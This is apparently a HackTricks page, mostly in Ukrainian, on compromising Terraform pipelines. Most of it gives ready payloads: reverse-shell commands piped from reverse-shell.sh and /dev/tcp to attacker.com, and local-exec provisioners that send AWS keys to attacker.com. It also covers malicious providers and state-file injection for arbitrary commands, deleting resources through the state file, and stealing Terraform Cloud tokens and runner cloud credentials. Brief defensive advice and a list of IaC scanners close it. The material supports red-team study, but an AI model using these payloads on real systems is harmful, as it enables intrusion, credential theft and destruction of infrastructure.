Terraform Безпека

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Основна інформація

From the docs:

HashiCorp Terraform — це інструмент infrastructure as code, який дозволяє визначати як cloud, так і on-prem ресурси у зрозумілих конфігураційних файлах, які можна версіонувати, повторно використовувати та ділитися. Ви можете використовувати послідовний робочий процес для provisioning та управління усією інфраструктурою протягом її життєвого циклу. Terraform може керувати низькорівневими компонентами, такими як compute, storage і networking ресурси, а також високорівневими компонентами, такими як DNS записи та SaaS функції.

Як працює Terraform?

Terraform створює та керує ресурсами на cloud-платформах і в інших сервісах через їхні API. Провайдери дозволяють Terraform працювати практично з будь-якою платформою або сервісом з доступним API.

HashiCorp та спільнота Terraform вже написали понад 1700 провайдерів для керування тисячами різних типів ресурсів і сервісів, і ця кількість продовжує зростати. Ви можете знайти всі публічно доступні провайдери в Terraform Registry, включно з Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog та багатьма іншими.

Основний робочий процес Terraform складається з трьох етапів:

  • Write: Ви визначаєте ресурси, які можуть розташовуватися в різних cloud-провайдерах і сервісах. Наприклад, ви можете створити конфігурацію для розгортання додатку на віртуальних машинах у Virtual Private Cloud (VPC) з security groups та load balancer.
  • Plan: Terraform створює execution plan, який описує інфраструктуру, яку буде створено, оновлено або видалено на основі існуючої інфраструктури та вашої конфігурації.
  • Apply: Після погодження Terraform виконує запропоновані операції в правильному порядку, враховуючи залежності ресурсів. Наприклад, якщо ви оновлюєте властивості VPC і змінюєте кількість віртуальних машин у цьому VPC, Terraform спочатку пересоздасть VPC, а потім масштабуватиме віртуальні машини.

Лабораторія Terraform

Просто встановіть terraform на свій комп’ютер.

Тут у вас є guide і тут у вас є best way to download terraform.

RCE in Terraform: config file poisoning

Terraform doesn’t have a platform exposing a web page or a network service we can enumerate, therefore, the only way to compromise terraform is to be able to add/modify terraform configuration files or to be able to modify the terraform state file (see chapter below).

However, terraform is a very sensitive component to compromise because it will have privileged access to different locations so it can work properly.

The main way for an attacker to be able to compromise the system where terraform is running is to compromise the repository that stores terraform configurations, because at some point they are going to be interpreted.

Actually, there are solutions out there that execute terraform plan/apply automatically after a PR is created, such as Atlantis:

Atlantis Security

If you are able to compromise a terraform file there are different ways you can perform RCE when someone executed terraform plan or terraform apply.

Terraform plan

Terraform plan is the most used command in terraform and developers/solutions using terraform call it all the time, so the easiest way to get RCE is to make sure you poison a terraform config file that will execute arbitrary commands in a terraform plan.

Using an external provider

Terraform offers the external provider which provides a way to interface between Terraform and external programs. You can use the external data source to run arbitrary code during a plan.

Injecting in a terraform config file something like the following will execute a rev shell when executing terraform plan:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Використання кастомного провайдера

Зловмисник може опублікувати custom provider у Terraform Registry і потім додати його до Terraform-коду у feature branch (example from here):

terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}

Провайдер завантажується під час init і виконає шкідливий код, коли буде виконано plan

Приклад можна знайти за адресою https://github.com/rung/terraform-provider-cmdexec

Використання зовнішнього посилання

Обидві згадані опції корисні, але не дуже приховані (друга більш прихована, але складніша за першу). Ви можете виконати цю атаку ще більш скритно, дотримуючись наступних порад:

  • Замість того, щоб додавати rev shell безпосередньо у terraform file, ви можете завантажити зовнішній ресурс, який містить rev shell:
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Код rev shell можна знайти за адресою https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • У зовнішньому ресурсі використайте функцію ref щоб сховати terraform rev shell code in a branch всередині репозиторію, щось на кшталт: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

Terraform Apply

Terraform apply буде виконано для застосування всіх змін, його також можна зловживати, щоб отримати RCE, інжектуючи шкідливий Terraform-файл з local-exec.
Потрібно лише переконатися, що якийсь payload, як-от наведені нижче, потрапляє у файл main.tf:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Дотримуйтесь рекомендацій з попередньої техніки, щоб виконати цю атаку більш приховано за допомогою зовнішніх посилань.

Витяг секретів

Ви можете отримати дамп секретних значень, що використовуються terraform запустивши terraform apply, додавши до terraform-файлу щось на кшталт:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Зловживання файлами стану Terraform

У разі, якщо у вас є права запису до terraform state files, але ви не можете змінити terraform code, this research пропонує декілька цікавих варіантів використання цього файлу. Навіть якщо у вас був би доступ на запис до конфігураційних файлів, використання вектора state файлів часто набагато хитріше, оскільки ви не лишаєте слідів в історії git.

RCE in Terraform: config file poisoning

Можна create a custom provider і просто замінити одного з провайдерів у terraform state file на шкідливий або додати фейковий ресурс, який посилається на шкідливий провайдер.

Провайдер statefile-rce побудований на цьому дослідженні і озброює цей принцип. Ви можете додати фейковий ресурс і вказати будь-яку довільну bash-команду, яку хочете виконати, в атрибуті command. Коли запускається terraform run, це буде прочитано і виконано як у кроках terraform plan, так і terraform apply. У випадку кроку terraform apply, terraform видалить фейковий ресурс зі state file після виконання вашої команди, підчищаючи після себе. Більше інформації та повне демо можна знайти в GitHub repository hosting the source code for this provider.

To use it directly, just include the following at any position of the resources array and customize the name and the command attributes:

{
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
}

Тоді, щойно terraform буде виконано, ваш код запуститься.

Видалення ресурсів

Існує 2 способи знищити ресурси:

  1. Вставити ресурс з випадковою назвою у state file, який вказує на реальний ресурс для знищення

Оскільки terraform побачить, що ресурс не повинен існувати, його буде знищено (з урахуванням вказаного реального ID ресурсу). Приклад з попередньої сторінки:

{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
  1. Змініть ресурс так, щоб його не можна було оновити (тобто він буде видалений і створений заново)

Для екземпляра EC2 достатньо змінити тип екземпляра, щоб terraform видалив його і створив заново.

Замінити заблокований провайдер

Якщо ви зіткнетесь із ситуацією, коли hashicorp/external було заблоковано, ви можете реалізувати external провайдера самостійно таким чином. Примітка: Ми використовуємо форк провайдера external, опублікований за адресою https://registry.terraform.io/providers/nazarewk/external/latest. Ви також можете опублікувати власний форк або реалізацію.

terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}

Тоді ви можете використовувати external як зазвичай.

data "external" "example" {
program = ["sh", "-c", "whoami"]
}

Terraform Cloud speculative plan RCE and credential exfiltration

Цей сценарій зловживає Terraform Cloud (TFC) runners під час speculative plans, щоб pivot у цільовий cloud account.

  • Preconditions:

  • Вкрадіть Terraform Cloud token з машини розробника. CLI зберігає токени у відкритому вигляді в ~/.terraform.d/credentials.tfrc.json.

  • Токен має мати доступ до цільової organization/workspace і щонайменше дозвіл plan. VCS-backed workspaces блокують apply з CLI, але все ще дозволяють speculative plans.

  • Дізнайтеся налаштування workspace та VCS через TFC API:

export TF_TOKEN=<stolen_token>
curl -s -H "Authorization: Bearer $TF_TOKEN" \
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
  • Запустити виконання коду під час speculative plan, використовуючи external data source та Terraform Cloud “cloud” block, щоб націлити VCS-backed workspace:
terraform {
cloud {
organization = "acmecorp"
workspaces { name = "gcp-infra-prod" }
}
}

data "external" "exec" {
program = ["bash", "./rsync.sh"]
}

Приклад rsync.sh для отримання reverse shell на TFC runner:

#!/usr/bin/env bash
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'

Запустіть спекулятивний план для виконання програми на ephemeral runner:

terraform init
terraform plan
  • Перелічити та exfiltrate інжектовані cloud credentials з runner. Під час запусків TFC інжектує provider credentials через файли та environment variables:
env | grep -i gcp || true
env | grep -i aws || true

Очікувані файли в робочому каталозі runner:

  • GCP:

  • tfc-google-application-credentials (Workload Identity Federation JSON config)

  • tfc-gcp-token (short-lived GCP access token)

  • AWS:

  • tfc-aws-shared-config (web identity/OIDC role assumption config)

  • tfc-aws-token (short-lived token; some orgs may use static keys)

  • Використовуйте короткотривалі облікові дані поза каналом, щоб обійти VCS gates:

GCP (gcloud):

export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
gcloud config set project <PROJECT_ID>

AWS (AWS CLI):

export AWS_CONFIG_FILE=./tfc-aws-shared-config
export AWS_PROFILE=default
aws sts get-caller-identity

З цими creds зловмисники можуть безпосередньо створювати/змінювати/знищувати ресурси за допомогою native CLIs, минаючи PR-based workflows, які блокують apply через VCS.

  • Захисні рекомендації:
  • Apply least privilege до TFC users/teams та tokens. Аудитуйте memberships і уникайте надміру широких owners.
  • Обмежте plan permission на чутливих VCS-backed workspaces, де це можливо.
  • Enforce provider/data source allowlists за допомогою Sentinel policies, щоб блокувати data "external" або невідомі провайдери. See HashiCorp guidance on provider filtering.
  • Віддавайте перевагу OIDC/WIF замість статичних cloud credentials; вважайте runners чутливими. Monitor speculative plan runs та unexpected egress.
  • Виявляйте ексфільтрацію tfc-* credential artifacts і надсилайте алерти при підозрілому використанні програми external під час планів.

Компрометація Terraform Cloud

Використання token

As explained in this post, terraform CLI stores tokens in plaintext at ~/.terraform.d/credentials.tfrc.json. Викрадення цього token дозволяє зловмиснику видавати себе за користувача в межах scope токена.

Using this token it’s possible to get the org/workspace with:

GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod
Authorization: Bearer <TF_TOKEN>

Тоді можна виконати довільний код за допомогою terraform plan, як пояснено в попередньому розділі.

Escaping to the cloud

Якщо runner розміщений у якійсь хмарній середовищі, можна отримати токен principal, прикріпленого до runner, і використовувати його out of band.

  • GCP files (присутні в поточному робочому каталозі запуску)

  • tfc-google-application-credentials — JSON-конфіг для Workload Identity Federation (WIF), який вказує Google, як обміняти зовнішню ідентичність.

  • tfc-gcp-token — короткостроковий (≈1 година) GCP access token, на який посилається вищезгадане

  • AWS files

  • tfc-aws-shared-config — JSON для web identity federation/OIDC role assumption (переважно над статичними ключами).

  • tfc-aws-token — короткостроковий токен, або потенційно статичні IAM keys, якщо неправильно налаштовано.

Автоматизовані інструменти аудиту

Snyk Infrastructure as Code (IaC)

Snyk пропонує всебічне рішення для сканування Infrastructure as Code (IaC), яке виявляє вразливості та неправильні конфігурації в Terraform, CloudFormation, Kubernetes та інших IaC форматах.

  • Особливості:
  • Сканування в реальному часі на предмет вразливостей та проблем відповідності.
  • Інтеграція з системами контролю версій (GitHub, GitLab, Bitbucket).
  • Автоматизовані pull requests з виправленнями.
  • Детальні рекомендації щодо усунення.
  • Sign Up: Створіть обліковий запис на Snyk.
brew tap snyk/tap
brew install snyk
snyk auth
snyk iac test /path/to/terraform/code

Checkov

Checkov — інструмент статичного аналізу коду для Infrastructure as Code (IaC) і також інструмент Software Composition Analysis (SCA) для образів та open source пакетів.

Він сканує хмарну інфраструктуру, створену за допомогою Terraform, Terraform plan, Cloudformation, AWS SAM, Kubernetes, Helm charts, Kustomize, Dockerfile, Serverless, Bicep, OpenAPI, ARM Templates, або OpenTofu і виявляє проблемні налаштування безпеки та невідповідності політикам за допомогою графового сканування.

Він виконує Software Composition Analysis (SCA) scanning, що є скануванням open source пакетів і образів на наявність Common Vulnerabilities and Exposures (CVEs).

pip install checkov
checkov -d /path/to/folder

terraform-compliance

З docs: terraform-compliance — це легкий фреймворк тестування, орієнтований на безпеку та відповідність для terraform, який забезпечує можливість negative testing для вашого infrastructure-as-code.

  • відповідність: Переконатися, що реалізований код відповідає стандартам безпеки та вашим власним стандартам
  • розробка, орієнтована на поведінку: Ми використовуємо BDD майже для всього, чому б не для IaC?
  • портативність: просто встановіть його через pip або запустіть у docker. Див. Installation
  • передрозгортання: він перевіряє ваш код перед його розгортанням
  • легко інтегрується: він може запускатися у вашому pipeline (або в git hooks), щоб гарантувати валідацію всіх розгортань.
  • розподіл обов’язків: ви можете зберігати тести в окремому репозиторії, де відповідальна окрема команда.

Note

На жаль, якщо код використовує деякі провайдери, до яких у вас немає доступу, ви не зможете виконати terraform plan і запустити цей інструмент.

pip install terraform-compliance
terraform plan -out=plan.out
terraform-compliance -f /path/to/folder

tfsec

З docs: tfsec використовує статичний аналіз вашого terraform-коду для виявлення потенційних помилок конфігурації.

  • ☁️ Перевіряє на помилки конфігурації в усіх основних (і деяких менш значних) хмарних провайдерах
  • ⛔ Сотні вбудованих правил
  • 🪆 Сканує модулі (локальні та віддалені)
  • ➕ Оцінює HCL-вирази та буквальні значення
  • ↪️ Оцінює Terraform-функції, напр. concat()
  • 🔗 Оцінює зв’язки між Terraform-ресурсами
  • 🧰 Сумісний з Terraform CDK
  • 🙅 Застосовує (та доповнює) користувацькі Rego-політики
  • 📃 Підтримує кілька форматів виводу: lovely (за замовчуванням), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
  • 🛠️ Налаштовується (через CLI-флаги та/або конфігураційний файл)
  • ⚡ Дуже швидкий, здатний оперативно сканувати великі репозиторії
brew install tfsec
tfsec /path/to/folder

terrascan

Terrascan — це статичний аналізатор коду для інфраструктури як коду. Terrascan дозволяє вам:

  • Безшовно сканує інфраструктуру як код на предмет помилок конфігурації.
  • Моніторить надану хмарну інфраструктуру на предмет змін конфігурації, які спричиняють відхилення безпекового стану, і дозволяє повернутися до безпечного стану.
  • Виявляє вразливості безпеки та порушення відповідності.
  • Знижує ризики до розгортання cloud native інфраструктури.
  • Надає гнучкість запуску локально або інтеграції з вашим CI\CD.
brew install terrascan
terrascan scan -d /path/to/folder

KICKS

Виявляйте вразливості безпеки, проблеми відповідності та неправильні конфігурації інфраструктури на ранніх етапах життєвого циклу вашої infrastructure-as-code за допомогою KICS від Checkmarx.

KICS розшифровується як Keeping Infrastructure as Code Secure; це проєкт з відкритим кодом і необхідний інструмент для будь-якого cloud native проєкту.

docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"

Terrascan

From the docs: Terrascan — це статичний аналізатор коду для інфраструктури як коду (Infrastructure as Code). Terrascan дозволяє:

  • Безшовно сканувати інфраструктуру як коду на предмет помилок конфігурації.
  • Моніторити створену хмарну інфраструктуру на предмет змін конфігурації, що призводять до відхилення безпечного стану (posture drift), та дозволяє відкотитися до безпечного стану.
  • Виявляти вразливості безпеки та порушення відповідності.
  • Знижувати ризики до розгортання хмарної інфраструктури.
  • Надає гнучкість запуску локально або інтеграції з вашим CI\CD.
brew install terrascan

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks